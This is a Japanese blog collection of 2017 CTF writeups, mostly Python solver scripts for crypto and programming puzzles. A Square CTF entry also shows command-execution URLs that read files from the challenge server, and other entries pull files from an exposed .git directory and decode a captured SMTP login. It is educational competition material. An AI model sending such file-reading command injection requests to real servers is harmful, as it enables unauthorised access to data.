School CTF 2017 Writeup

この大会は2017/11/5 15:00(JST)~2017/11/5 23:00(JST)に開催されました。
今回もチームで参戦。結果は1500点で378チーム中29位でした。
自分で解けた問題をWriteupとして書いておきます。

StRiNgMuTaToR 1.0 (ppc 100)

オペコードに従い、反転やシフトを行う。

import socket
import re

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

def reverse(s):
    return s[::-1]

def swap(s):
    l = len(s) / 2
    s1 = s[l:]
    s2 = s[:l]
    return s1 + s2

def reverse_halves(s, code):
    l = len(s) / 2
    s1 = s[:l]
    s2 = s[l:]
    if code == 2:
        s1 = s1[::-1]
    elif code == 3:
        s2 = s2[::-1]
    return s1 + s2

def reverse_quoters(s, code):
    l = len(s) / 4
    s1 = s[:l]
    s2 = s[l:l*2]
    s3 = s[l*2:l*3]
    s4 = s[l*3:]
    if code == 4:
        s1 = s1[::-1]
    elif code == 5:
        s2 = s2[::-1]
    elif code == 6:
        s3 = s3[::-1]
    elif code == 7:
        s4 = s4[::-1]
    return s1 + s2 + s3 + s4

def cycle_left_quoters(s, code):
    l = len(s) / 4
    s1 = s[:l]
    s2 = s[l:l*2]
    s3 = s[l*2:l*3]
    s4 = s[l*3:]
    if code == 8:
        s1 = s1[1:l] + s1[0]
    elif code == 9:
        s2 = s2[1:l] + s2[0]
    elif code == 10:
        s3 = s3[1:l] + s3[0]
    elif code == 11:
        s4 = s4[1:l] + s4[0]
    return s1 + s2 + s3 + s4

def cycle_right_quoters(s, code):
    l = len(s) / 4
    s1 = s[:l]
    s2 = s[l:l*2]
    s3 = s[l*2:l*3]
    s4 = s[l*3:]
    if code == 12:
        s1 = s1[l-1] + s1[:l-1]
    elif code == 13:
        s2 = s2[l-1] + s2[:l-1]
    elif code == 14:
        s3 = s3[l-1] + s3[:l-1]
    elif code == 15:
        s4 = s4[l-1] + s4[:l-1]
    return s1 + s2 + s3 + s4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('nc.task.school-ctf.org', 41447))

pattern = 'program \'(.+)\' to the sequence \'(.+)\''

data = recvuntil(s, '\n')
data += recvuntil(s, '\n')
data += recvuntil(s, ' ')
print data + 'start'
s.sendall('start\n')

for i in range(100):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n')
    m = re.search(pattern, data)
    opcodes = m.group(1)
    seq = m.group(2)
    data += recvuntil(s, ' ')

    for opcode in opcodes:
        code = int(opcode, 16)
        if code == 0:
            seq = reverse(seq)
        elif code == 1:
            seq = swap(seq)
        elif code >= 2 and code <= 3:
            seq = reverse_halves(seq, code)
        elif code >= 4 and code <= 7:
            seq = reverse_quoters(seq, code)
        elif code >= 8 and code <= 11:
            seq = cycle_left_quoters(seq, code)
        else:
            seq = cycle_right_quoters(seq, code)

    print data + seq
    s.sendall(seq + '\n')
    data = recvuntil(s, '\n')
    print data

data = recvuntil(s, '\n')
print data
SchoolCTF{U/c@n-n3v3r_0wN_M3}

WhiteHat Challenge 05 参戦

この大会は2017/10/28 11:00(JST)~2017/10/28 19:00(JST)に開催されました。
今回もチームで参戦。結果は35点で61チーム中24位でした。
今回は自分が得点した問題は1問もありませんでした。
暗号の問題のうち1問は復号できていたはずなのに、なぜかフラグが通らず。
何が正解だったのか教えてほしい!

Pwn2Win CTF 2017 Writeup

この大会は2017/10/21 0:37(JST)~2017/10/23 0:37(JST)に開催されました。
今回もチームで参戦。結果は1600点で207チーム中21位でした。
自分で解けた問題をWriteupとして書いておきます。

Differential Privacy (Crypto)

$ nc 200.136.213.143 9999
Hello, chose an option:
[1] Info
[2] Query the flag (in ASCII)
[3] Quit
1
You can query the flag, but the characters are private (indistinguishable).
Differential privacy mechanism: Laplace
Sensitivity: ||125 - 45|| = 80
Epsilon: 6.5

Hello, chose an option:
[1] Info
[2] Query the flag (in ASCII)
[3] Quit
2
[60, 93, 88, 40, 79, 77, 147, 80, 136, 86, 109, 82, 111, 118, 108, 116, 76, 98, 102, 74, 117, 108, 95, 100, 127, 108, 99, 115, 78, 118, 81, 123, 123, 89, 115, 114, 132]
Hello, chose an option:
[1] Info
[2] Query the flag (in ASCII)
[3] Quit
Timeout! Bye...

とりあえず数回どんな数値が返ってくるか見てみる。

[103, 132, 67, 35, 61, 120, 100, 60, 104, 94, 81, 91, 148, 115, 120, 109, 96, 105, 113, 133, 125, 100, 129, 107, 92, 103, 107, 118, 109, 119, 76, 115, 91, 105, 120, 98, 114]
[60, 83, 77, 48, 84, 117, 123, 71, 101, 100, 105, 84, 111, 107, 117, 103, 86, 99, 105, 114, 99, 101, 118, 107, 110, 116, 126, 113, 85, 73, 98, 119, 93, 111, 113, 104, 115]
[72, 81, 71, 9, 59, 74, 130, 80, 96, 109, 119, 139, 101, 122, 133, 109, 106, 124, 95, 103, 49, 76, 96, 58, 122, 110, 71, 110, 94, 100, 104, 159, 113, 123, 124, 108, 138]
[68, 110, 68, 51, 55, 87, 129, 69, 100, 109, 131, 99, 56, 144, 119, 113, 89, 105, 102, 115, 117, 103, 101, 118, 141, 98, 83, 109, 76, 70, 95, 101, 118, 103, 121, 55, 124]
[69, 106, 82, 68, 95, 68, 125, 60, 89, 82, 105, 92, 88, 116, 122, 114, 90, 131, 95, 102, 96, 94, 109, 104, 103, 112, 92, 116, 101, 127, 94, 108, 116, 126, 113, 88, 214]
[78, 82, 42, 25, 30, 94, 138, 72, 108, 84, 108, 80, 104, 113, 134, 166, 102, 93, 94, 94, 116, 93, 108, 106, 157, 76, 83, 98, 104, 76, 112, 118, 123, 111, 116, 100, 131]
[67, 77, 69, 41, 70, 76, 135, 53, 94, 90, 91, 81, 103, 121, 110, 112, 75, 129, 112, 82, 106, 101, 141, 104, 106, 75, 93, 91, 119, 128, 110, 114, 143, 89, 143, 93, 138]

フラグがCTF-BRから始まることを考えると、ASCIIコードで近い数値のような感じがする。できるだけ多くの回数の平均のコード値を取り文字にしてみる。以下のコードを使い、何回か試し、フラグを推定する。

import socket

COLLECT_TIMES = 256

codes = []
for i in range(COLLECT_TIMES):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('200.136.213.143', 9999))
    data = s.recv(256)
    print data
    print '2'
    s.sendall('2\n')
    data = s.recv(256)
    print data
    codes.append(map(int, data[1:-2].split(', ')))

avg_str = ''
for i in range(len(codes[0])):
    sum = 0
    for j in range(COLLECT_TIMES):
        sum += codes[j][i]
    avg = sum / COLLECT_TIMES
    print avg
    avg_str += chr(avg)

print avg_str

3回試した結果は以下の通り。

BRF+AR}H`bn_iutr_filtfpgmg\ujd_nnjse}
CVE-@SzJ]bl^kust]finserimf_sgf^npire{
BSD,BQyH_`l^hurt^djluesgkh_the_mohte|

この結果から意味を持つように文字を前後させる。

CTF-BR{I_am_just_filtering_the_noise}

Sum (Hello World Platform) (PPC-M)

実行するだけ。

$ python solve_sum.py
received: 4 1 1 5 7 6 1 5 8 7 8 8 3 0
sent: 64
received: 4 1 4 4 9 6 5 3 0
sent: 36
received: 8 1 7 1 6 8 4 3 3 3 0
sent: 44
received: 1 8 8 3 7 8 1 2 4 4 6 0
sent: 52
received: 1 1 1 9 1 9 7 4 4 4 7 3 1 2 7 9 0
sent: 70
received: 5 6 9 9 5 6 3 8 8 0
sent: 59
received: 2 2 3 1 8 2 1 9 9 7 4 9 2 8 1 8 8 4 0
sent: 88
received: 1 4 7 5 3 8 4 9 0
sent: 41
received: 1 7 8 3 5 6 4 8 5 5 8 4 9 2 5 0
sent: 80
received: 9 2 9 2 8 3 0
sent: 33
received: 1 3 4 9 9 5 5 8 6 7 0
sent: 57
received: 9 1 4 7 4 5 3 5 6 6 3 8 0
sent: 61
received: 5 7 8 5 2 2 9 0
sent: 38
received: 9 3 9 4 6 7 9 5 4 6 9 4 8 6 2 0
sent: 91
received: 3 8 1 1 3 7 2 7 4 9 5 1 4 3 9 5 4 9 0
sent: 85
received: 4 1 8 7 1 2 7 3 5 6 8 3 4 6 9 9 7 0
sent: 90
received: 9 1 2 3 3 4 2 1 9 5 4 4 8 2 2 5 0
sent: 64
received: 2 1 6 7 2 4 7 2 0
sent: 31
received: 5 7 7 1 5 9 1 4 6 6 8 0
sent: 59
received: 3 1 5 9 3 3 4 1 5 1 7 0
sent: 42
received: CTF-BR{Congrats!_you_know_how_to_sum!}
CTF-BR{Congrats!_you_know_how_to_sum!}

Hack.lu CTF 2017 Writeup

この大会は2017/10/17 19:00(JST)~2017/10/19 19:00(JST)に開催されました。
今回もチームで参戦。結果は1172点で241チーム中63位でした。
自分で解けた問題をWriteupとして書いておきます。

b64 (Crypto 100)

暗号化処理の概要は以下の通り。

secret:ランダムな8バイトデータ。
secretと入力文字列のXORを取り、その結果に64をプラスし、256で割った余りをASCIIコードとして文字にする。
その結果からBase64で使われる文字以外を削除する。
文字列長を4で割って、1余る場合はその1文字を削除する。
余りが2または3の場合は、=でパディングし、4の倍数の文字列長にする。
Base64デコードしたものが提示される。

Base64文字以外がないものを探すことができれば、XORでsecretを算出することができる。それをコードにしたものは以下の通り。

import socket

PAD = 64

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

def decrypt(s1, s2):
    dec = ''
    for i in range(len(s1)):
        code = ord(s1[i]) ^ ((ord(s2[i]) - PAD) % 256)
        dec += chr(code)
    return dec

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('flatearth.fluxfingers.net', 1718))

data = recvuntil(s, '\n')
print data

in_str = ''
for i in range(4):
    found = False
    for code1 in range(0, 256, 16):
        for code2 in range(0, 256, 16):
            data = recvuntil(s, '>')
            data += recvuntil(s, ' ')
            print data + '1'
            s.sendall('1')
            data = recvuntil(s, '>')
            data += recvuntil(s, ' ')

            try_str = in_str + chr(code1) + chr(code2)
            print data + try_str
            s.sendall(try_str)
            data = recvuntil(s, '\n')
            print data
            dec = data[30:-1]
            if len(dec) > 0:
                b64 = dec.encode('base64').strip()
                b64_no_pad = b64.replace('=', '')
                if len(b64_no_pad) == ((i+1) * 2):
                    in_str += chr(code1) + chr(code2)
                    found = True
                    break
        if found:
            break

data = recvuntil(s, '>')
data += recvuntil(s, ' ')
print data + '2'
s.sendall('2')
data = recvuntil(s, '>')
data += recvuntil(s, ' ')

secret = decrypt(in_str, b64).encode('hex')
print data + secret
s.sendall(secret)
data = recvuntil(s, '\n')
print data
data = recvuntil(s, '\n')
print data
flag{7h3_b35t_w4y_of_h1ding_s3cr3t5_the_w0r1d_h4s_ev3r_seen_period!}

Hack Dat Kiwi 2017 Writeup

この大会は2017/10/13 13:00(JST)~2017/10/15 13:00(JST)に開催されました。
今回もチームで参戦。結果は605点で306チーム中53位でした。
自分で解けた問題をWriteupとして書いておきます。

PS 1 (Crypto 100)

AESの変形問題。内部の処理の回数などを変更し、簡易化されている。16バイトのブロック暗号で、pboxだけが位置を変更していることに注目して、復号してprintableなテキストに復号されるよう総当たりする。その際、sboxやpboxはphpのソースにデバッグログを入れて、具体的な値を取り出しておく。問題の暗号をテキストファイルenc.txtに保存しておき、次のコードで復号する。

from math import *

BLOCK_SIZE = 16

def get_sbox_for_seed_1396_rounds_1():
    sbox = [70, 162, 120, 88, 97, 191, 116, 211, 240, 171, 174, 123, 47, 59,
            64, 29, 255, 101, 196, 108, 253, 201, 35, 13, 164, 38, 77, 148,
            57, 17, 37, 132, 183, 159, 220, 20, 93, 80, 232, 78, 248, 151, 202,
            43, 214, 8, 75, 213, 113, 12, 66, 112, 217, 106, 128, 129, 145,
            203, 15, 204, 223, 53, 76, 147, 215, 34, 168, 49, 119, 144, 130,
            110, 33, 71, 158, 250, 83, 231, 208, 190, 243, 14, 44, 199, 124,
            170, 68, 5, 115, 89, 210, 79, 143, 26, 226, 99, 63, 138, 154, 184,
            18, 16, 39, 56, 94, 193, 52, 176, 172, 1, 109, 157, 22, 156, 103,
            149, 62, 179, 160, 185, 254, 104, 251, 141, 135, 225, 238, 200,
            92, 133, 126, 117, 153, 169, 180, 237, 87, 228, 150, 2, 230, 249,
            161, 244, 139, 252, 122, 207, 167, 21, 114, 173, 111, 105, 42, 0,
            73, 28, 205, 187, 166, 55, 32, 48, 229, 216, 30, 61, 182, 189, 65,
            140, 188, 233, 127, 60, 227, 7, 19, 131, 31, 146, 45, 175, 9, 91,
            177, 90, 125, 96, 23, 40, 194, 67, 86, 155, 10, 136, 224, 212, 51,
            25, 84, 241, 247, 234, 50, 222, 236, 74, 100, 6, 219, 163, 186,
            239, 245, 81, 72, 118, 195, 95, 165, 98, 178, 246, 242, 181, 102,
            198, 82, 152, 218, 192, 121, 221, 107, 197, 142, 58, 4, 24, 85,
            235, 137, 36, 206, 69, 46, 11, 27, 41, 134, 209, 54, 3]
    return sbox

def get_pbox_for_seed_1396_rounds_1():
    pbox = [4, 10, 7, 5, 6, 13, 8, 14, 15, 9, 11, 2, 0, 1, 3, 12]
    return pbox

def pad(message, block_size):
    length = int(max(floor((len(message)-1)/block_size)+1, 1)*block_size)
    return message + ' ' * (length - len(message))

def sbox(block, reverse = False):
    sbox = get_sbox_for_seed_1396_rounds_1()
    out = ''
    if reverse:
        for i in range(BLOCK_SIZE):
            out += chr(sbox.index(ord(block[i])))
    else:
        for i in range(BLOCK_SIZE):
            out += chr(sbox[ord(block[i])])
    return out

def pbox(block, reverse = False):
    pbox = get_pbox_for_seed_1396_rounds_1()
    out = [' '] * BLOCK_SIZE
    if reverse:
        for i in range(BLOCK_SIZE):
            out[pbox[i]] = block[i]
    else:
        for i in range(BLOCK_SIZE):
            out[i] = block[pbox[i]]
    return ''.join(out)

def xbox(block, key):
    out = ''
    for i in range(BLOCK_SIZE):
        out += chr((ord(block[i]) ^ ord(key[i])) % 256)
    return out

def ps2_block(block, key, decrypt = False):
    key = pad(key, BLOCK_SIZE)

    if decrypt:
        block = xbox(block, key)
        block = pbox(block, decrypt)
        block = sbox(block, decrypt)
    else:
        block = sbox(block, decrypt)
        block = pbox(block, decrypt)
        block = xbox(block, key)
    return block

with open('enc.txt', 'r') as f:
    data = f.read().split(' ')

blocks = []
block = ''
for i in range(len(data)):
    block += chr(int(data[i], 16))
    if i % BLOCK_SIZE == BLOCK_SIZE - 1:
        blocks.append(block)
        block = ''

keys = []
indexes = [4, 10, 7, 5, 6, 13, 8, 14, 15, 9, 11, 2, 0, 1, 3, 12]

for index in indexes:
    for code in range(256):
        fail = False
        len_keys = len(keys)
        if len_keys > 0:
            try_key = keys[len_keys - 1] + chr(code)
        else:
            try_key = chr(code)
        for block in blocks:
            res = ps2_block(block, try_key, True)
            if (ord(res[index]) >= 32 and ord(res[index]) <= 126) \
                or ord(res[index]) == 10 or ord(res[index]) == 13:
                pass
            else:
                fail = True
                break
        if fail == False:
            keys.append(try_key)
            break

dec = ''
for block in blocks:
    dec += ps2_block(block, keys[15], True)

print dec

復号結果は次の通り。

A flag is a piece of fabric (most often rectangular or quadrilateral) with a distinctive design that is used as a symbol, as a signaling device, or as decoration. The term flag is also used to refer to the graphic design employed, and flags have since evolved into a general tool for rudimentary signalling and identification, especially in environments where communication is similarly challenging (such as the maritime environment where semaphore is used). National flags are potent patriotic symbols with varied wide-ranging interpretations, often including strong military associations due to their original and ongoing military uses. Flags are also used in messaging, advertising, or for other decorative purposes. The study of flags is known as vexillology, from the Latin word vexillum, meaning flag or banner.

Due to the use of flags by CTFs, "flag" is also '2qR4twRCoMq7SQb3' in this challenge.
2qR4twRCoMq7SQb3

PS 2 (Crypto 100)

考え方はPS 1と同じ。ただRound数が2になり、複雑性が増す。影響する位置が2箇所に増えることを考慮して、総当たりする。

from math import *

BLOCK_SIZE = 16
ROUNDS = 2

def get_sbox_for_seed_7_rounds_2():
    sbox = []
    sbox1 = [124, 222, 151, 54, 2, 132, 254, 8, 155, 15, 135, 24, 196, 209,
            228, 43, 57, 201, 200, 18, 110, 14, 88, 130, 4, 70, 95, 193, 11,
            23, 51, 138, 241, 198, 187, 244, 77, 185, 251, 227, 202, 128, 249,
            141, 83, 220, 178, 136, 165, 123, 154, 27, 143, 240, 150, 145, 53,
            245, 84, 63, 9, 126, 192, 248, 73, 121, 233, 147, 60, 229, 113, 7,
            102, 109, 149, 186, 79, 74, 69, 247, 205, 223, 20, 91, 212, 168,
            236, 13, 160, 66, 72, 169, 197, 19, 162, 26, 140, 139, 170, 206,
            112, 36, 213, 225, 144, 99, 159, 226, 177, 232, 217, 117, 195, 238,
            216, 156, 137, 199, 167, 49, 28, 252, 218, 215, 10, 114, 242, 133,
            29, 142, 92, 119, 180, 55, 97, 71, 161, 22, 48, 85, 255, 31, 219,
            189, 6, 182, 98, 152, 127, 35, 210, 164, 33, 179, 118, 40, 62, 108,
            183, 81, 38, 44, 234, 224, 93, 82, 52, 21, 101, 104, 105, 96, 129,
            76, 50, 148, 30, 172, 56, 175, 203, 17, 89, 235, 208, 239, 12, 34,
            107, 204, 111, 153, 0, 87, 116, 94, 188, 176, 120, 46, 42, 246,
            163, 181, 65, 214, 67, 90, 125, 122, 32, 68, 166, 115, 58, 103,
            100, 61, 158, 237, 25, 3, 146, 39, 106, 1, 173, 47, 207, 16, 131,
            243, 5, 37, 190, 86, 231, 250, 194, 134, 157, 230, 191, 41, 78,
            253, 171, 211, 64, 45, 184, 80, 59, 75, 221, 174]
    sbox2 = [53, 33, 193, 239, 51, 36, 212, 61, 41, 115, 145, 9, 96, 84, 119,
            209, 49, 52, 226, 144, 47, 105, 95, 127, 130, 15, 233, 162, 72,
            126, 45, 129, 160, 240, 109, 206, 17, 67, 7, 63, 181, 158, 74, 13,
            236, 187, 223, 26, 235, 194, 172, 25, 39, 4, 152, 168, 23, 131, 73,
            98, 248, 116, 217, 150, 99, 71, 101, 118, 137, 108, 178, 55, 0,
            243, 70, 237, 175, 32, 6, 155, 224, 182, 179, 8, 188, 75, 174, 207,
            196, 234, 42, 184, 92, 255, 77, 189, 68, 165, 40, 200, 14, 214,
            247, 16, 198, 59, 249, 112, 90, 253, 254, 57, 170, 167, 64, 103,
            230, 222, 46, 164, 204, 88, 97, 37, 89, 157, 219, 147, 78, 3, 93,
            86, 215, 82, 106, 154, 135, 91, 10, 213, 87, 5, 18, 252, 180, 76,
            113, 159, 43, 146, 79, 244, 227, 163, 29, 58, 69, 250, 203, 140, 1,
            35, 216, 218, 124, 60, 132, 238, 142, 134, 197, 220, 136, 205, 211,
            50, 24, 65, 201, 80, 192, 22, 56, 173, 183, 102, 229, 246, 94, 171,
            133, 100, 208, 107, 31, 81, 148, 156, 48, 21, 27, 251, 241, 153,
            195, 199, 191, 225, 12, 149, 34, 202, 169, 111, 125, 120, 161, 114,
            110, 245, 20, 228, 66, 231, 54, 122, 38, 186, 11, 121, 221, 44,
            123, 190, 177, 30, 151, 141, 19, 176, 83, 85, 139, 232, 138, 2,
            117, 104, 143, 210, 62, 166, 185, 128, 28, 242]
    sbox.append(sbox1)
    sbox.append(sbox2)
    return sbox

def get_pbox_for_seed_7_rounds_2():
    pbox = []
    pbox1 = [7, 14, 9, 2, 0, 8, 15, 1, 10, 3, 11, 4, 13, 12, 6, 5]
    pbox2 = [3, 12, 13, 0, 7, 1, 6, 9, 2, 5, 10, 14, 4, 8, 11, 15]
    pbox.append(pbox1)
    pbox.append(pbox2)
    return pbox

def pad(message, block_size):
    length = int(max(floor((len(message)-1)/block_size)+1, 1)*block_size)
    return message + ' ' * (length - len(message))

def sbox(block, round = 0, reverse = False):
    sbox = get_sbox_for_seed_7_rounds_2()
    out = ''
    if reverse:
        for i in range(BLOCK_SIZE):
            out += chr(sbox[round].index(ord(block[i])))
    else:
        for i in range(BLOCK_SIZE):
            out += chr(sbox[round][ord(block[i])])
    return out

def pbox(block, round = 0, reverse = False):
    pbox = get_pbox_for_seed_7_rounds_2()
    out = [' '] * BLOCK_SIZE
    if reverse:
        for i in range(BLOCK_SIZE):
            out[pbox[round][i]] = block[i]
    else:
        for i in range(BLOCK_SIZE):
            out[i] = block[pbox[round][i]]
    return ''.join(out)

def xbox(block, key):
    out = ''
    for i in range(BLOCK_SIZE):
        out += chr((ord(block[i]) ^ ord(key[i])) % 256)
    return out

def ps2_block(block, key, decrypt = False):
    key = pad(key, BLOCK_SIZE)

    if decrypt:
        for i in range(ROUNDS-1, -1, -1):
            block = xbox(block, key)
            block = pbox(block, i, decrypt)
            block = sbox(block, i, decrypt)
    else:
        for i in range(ROUNDS):
            block = sbox(block, i, decrypt)
            block = pbox(block, i, decrypt)
            block = xbox(block, key)
    return block

with open('enc.txt', 'r') as f:
    data = f.read().split(' ')

blocks = []
block = ''
for i in range(len(data)):
    block += chr(int(data[i], 16))
    if i % BLOCK_SIZE == BLOCK_SIZE - 1:
        blocks.append(block)
        block = ''

keys = []
indexes1 = [7, 14, 9, 2, 0, 8, 15, 1, 10, 3, 11, 4, 13, 12, 6, 5]
indexes2 = [3, 12, 13, 0, 7, 1, 6, 9, 2, 5, 10, 14, 4, 8, 11, 15]

for index1 in indexes2:
    index = indexes1[index1]
    for code1 in range(256):
        for code2 in range(256):
            fail = False
            len_keys = len(keys)
            if len_keys > 0:
                try_key = ''.join(keys) + chr(code1)
            else:
                try_key = chr(code1)
            try_key += chr(code2) * (16 - len(try_key))
            for block in blocks:
                res = ps2_block(block, try_key, True)
                if (ord(res[index]) >= 32 and ord(res[index]) <= 126) \
                    or ord(res[index]) == 10 or ord(res[index]) == 13:
                    pass
                else:
                    fail = True
                    break
            if fail == False:
                keys.append(chr(code1))
                break
        if fail == False:
            break

dec = ''
for block in blocks:
    dec += ps2_block(block, ''.join(keys), True)

print dec

実行結果は以下の通り。

An Easter egg is an intentional inside joke, hidden message, or feature in an interactive work such as a computer program, flag is 4y7u1t2CELXdPVoI, video game or DVD menu screen. The name is used to evoke the idea of a traditional Easter egg hunt.

Released in 1979, Atari's Adventure contained the first hidden message in a video game to have been discovered by its players; the message is "Created by Warren Robinett", and was inserted by Robinett, the game's programmer.[2] According to Robinett, the term Easter egg was applied by Atari personnel on being alerted to the secret addition.[3] Since Atari did not publicly credit game designers, Robinett inserted the message after the game's completion partially in an attempt to gain some recognition for his work.[2] In 2004, an earlier Easter egg was found in Video Whizball, a 1978 game for the Fairchild Channel F system, displaying programmer Bradley Reid-Selth's surname.
4y7u1t2CELXdPVoI

Survey (25)

アンケートに答えるだけ。

hsABf8jG3VK93hQf

Square CTF 2017 Writeup

この大会は2017/10/4 22:00(JST)~2017/10/9 9:00(JST)に開催されました。
今回もチームで参戦。結果は5115点で1334チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

Book of Allies (Grace Hopper 5)

scheduleタブを選択し、そこからリンクされているPDFを見てみる。
ホッチキスの露出しているページ、つまり真ん中のページの左側の一番上のセッションの会社名がフラグということらしい。全部で35ページあるので、18ページ目の左側を見る。

flag-thought-leadership-lab

Password checker (Web Security 50)

OSコマンドが実行できるが、結果は1行だけ表示される。

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=cat%20../password.txt
password123

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=ls%20-l%20..
-rw-r--r-- 3 root root 15 Oct 4 10:34 xxx_not_a_flag.txt

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=ls%20-l%20../..
drwxr-xr-x 3 root root 4096 Oct 4 10:47 www

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=ls%20-l%20../../..
drwxr-xr-x 1 root root 4096 Oct 4 10:47 var

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=ls%20../f*
../flag.txt

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=cat%20../flag.txt
line 2: flap-31aac7e26de449ee

https://neget-kymud-nihat-fagoh-mifip.capturethesquare.com/run.php?cmd=tac%20../flag.txt
line 1: flag-bc0a804287546c09
flag-bc0a804287546c09

The General's Cat (Crypto 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。

Rotation 17:
The domestic cat (Felis silvestris catus or Felis catus) is a small, typically furry, carnivorous mammal. They are often called house cats when kept as indoor pets or simply cats when there is no need to distinguish them from other felids and felines. Cats are often valued by humans for companionship and for their ability to hunt vermin. There are more than 70 cat breeds, though different associations proclaim different numbers according to their standards. The flag is the phrase with dashes: flag what is a domestic cat.
flag-what-is-a-domestic-cat

The Robot's Grandmother (Forensics 50)

SMTPTCP Streamで見る。

220 x.shh.sh ESMTP Exim 4.86 Wed, 06 Sep 2017 22:11:43 +0000
ehlo x.shh.sh
250-x.shh.sh Hello x.shh.sh [::1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH LOGIN
250-STARTTLS
250-PRDR
250 HELP
auth login
334 VXNlcm5hbWU6
bWFsbG9yeQ==
334 UGFzc3dvcmQ6
ZmxhZy1zcGluc3Rlci1iZW5lZml0LWZhbHNpZnktZ2FtYmlhbg==
535 Incorrect authentication data
421 x.shh.sh lost input connection
$ echo ZmxhZy1zcGluc3Rlci1iZW5lZml0LWZhbHNpZnktZ2FtYmlhbg== | base64 -d
flag-spinster-benefit-falsify-gambian
flag-spinster-benefit-falsify-gambian

Can-CWIC CTF 2017 Writeup

この大会は2017/10/7 7:00(JST)~2017/10/9 5:00(JST)に開催されました。
今回もチームで参戦。結果は2191点で132チーム中2位でした。
自分で解けた問題をWriteupとして書いておきます。

Beautiful Blue (Steg 25)

高さ10pxごとに色が微妙に変わっている。青の色情報をASCIIコードとして文字にする。

from PIL import Image

img = Image.open('beautiful_blue.png').convert('RGB')
w, h = img.size

flag = ''
for y in range(0, h, 10):
    r, g, b = img.getpixel((0, y))
    flag += chr(b)

print flag
FLAG{Such_a_beautiful_color}

sudo (Steg 25)

解凍しようとすると、同じファイル名のファイルが2つ入っていることがわかる。1つを別名で展開し、ファイルサイズの小さい方を見てみると、フラグが書いてある。

FLAG{archives_are_waaaaayyy_easier_than_sudokus}

Coffee Stain (Steg 50)

ピクロスパズルのJPG画像。一部見えにくくなっている。
JPGの終端の後に、以下のデータあり。

h14:6,1,1,4,1,4,1
h15:7,2,2,3,1,5,2
h16:1,3,6,7,2
v29:2,5,2,7,10,2
v30:2,5,2,7,10,2

見えにくい部分はこれでわかる。この情報と合わせて、パズルを解いていくと、QRコードのようになる。
f:id:satou-y:20171015150457p:plain
このままだとうまく読み取れないので、3角の部分を少し調整すると、読み取ることができた。
f:id:satou-y:20171015150543p:plain

FLAG{NQNQR_C0D3}

Always Backup (Forensic 30)

http://159.203.38.169:5676/.git/にアクセスすると、flagファイルがある。
http://159.203.38.169:5676/.git/flagにアクセスしたら、フラグが書いてあった。

FLAG{ALWAYS-BACKUP!!!-and-use-git-to-backup...}

All is lost (Forensic 34)

http://159.203.38.169:5676/.git/objects/9d/dbc445f674f2891526db63b7bc5b5faea1e748をダウンロード

$ python -c 'import zlib; print zlib.decompress(open("dbc445f674f2891526db63b7bc5b5faea1e748").read())'
blob 77F
L
A
G
{
n
o
t
h
i
n
g
-
i
s
-
l
o
s
t
-
f
o
r
e
v
e
r
-
w
i
t
h
-
g
i
t
}
FLAG{nothing-is-lost-forever-with-git}

Tri it 0 (Prog 60)

$ nc 159.203.38.169 5672
Read https://en.wikipedia.org/wiki/Balanced_ternary
TT00T + TT010
a
Wrong answer.

https://en.wikipedia.org/wiki/Balanced_ternaryを参考に数値にして計算して、元の形式に戻すというプログラムを作成する。

import socket

bal3_letter = '01T'

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

def get_elem(s):
    elems = []
    elem = ''
    for i in range(len(s)):
        if s[i] in bal3_letter:
            elem += s[i]
        else:
            if elem != '':
                elems.append(elem)
                elem = ''
        if i == len(s) - 1:
            if elem != '':
                elems.append(elem)

    return elems

def get_formula(s, elems):
    formula = ''
    elem = ''
    index = 0
    for i in range(len(s)):
        if s[i] in bal3_letter:
            elem += s[i]
            if elem == elems[index]:
                formula += str(dec_bal3(elem))
                elem = ''
                index += 1
        else:
            formula += s[i]
    return formula

def dec_bal3(s):
    val = 0
    for i in range(len(s)):
        bit = len(s) - i - 1
        if s[i] == '0':
            bit_val = 0
        elif s[i] == '1':
            bit_val = 3 ** bit
        else:
            bit_val = - 3 ** bit
        val += bit_val
    return val

def enc_bal3(n):
    s = ''
    while n:
        s = bal3_letter[n % 3] + s
        n = -~n/3
    return s or 0

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('159.203.38.169', 5672))

data = recvuntil(s, '\n')
print data

# Try it 0
for i in range(2):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n')
    print data
    data = data.replace('\n', '')
    elems = get_elem(data)
    formula = get_formula(data, elems)
    ans = enc_bal3(eval(formula))
    print ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n')
print data

2回答えると、フラグが表示された。

FLAG{I_CAN_MATH_LIKE_A_10RD_GRADER!}

Tri it 1 (Prog 150)

Tri it 0 の続き。足し算だけでなく、引き算、掛け算、かっこなども式に含まれる。

import socket

bal3_letter = '01T'

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

def get_elem(s):
    elems = []
    elem = ''
    for i in range(len(s)):
        if s[i] in bal3_letter:
            elem += s[i]
        else:
            if elem != '':
                elems.append(elem)
                elem = ''
        if i == len(s) - 1:
            if elem != '':
                elems.append(elem)

    return elems

def get_formula(s, elems):
    formula = ''
    elem = ''
    index = 0
    for i in range(len(s)):
        if s[i] in bal3_letter:
            elem += s[i]
            if elem == elems[index]:
                formula += str(dec_bal3(elem))
                elem = ''
                index += 1
        else:
            formula += s[i]
    return formula

def dec_bal3(s):
    val = 0
    for i in range(len(s)):
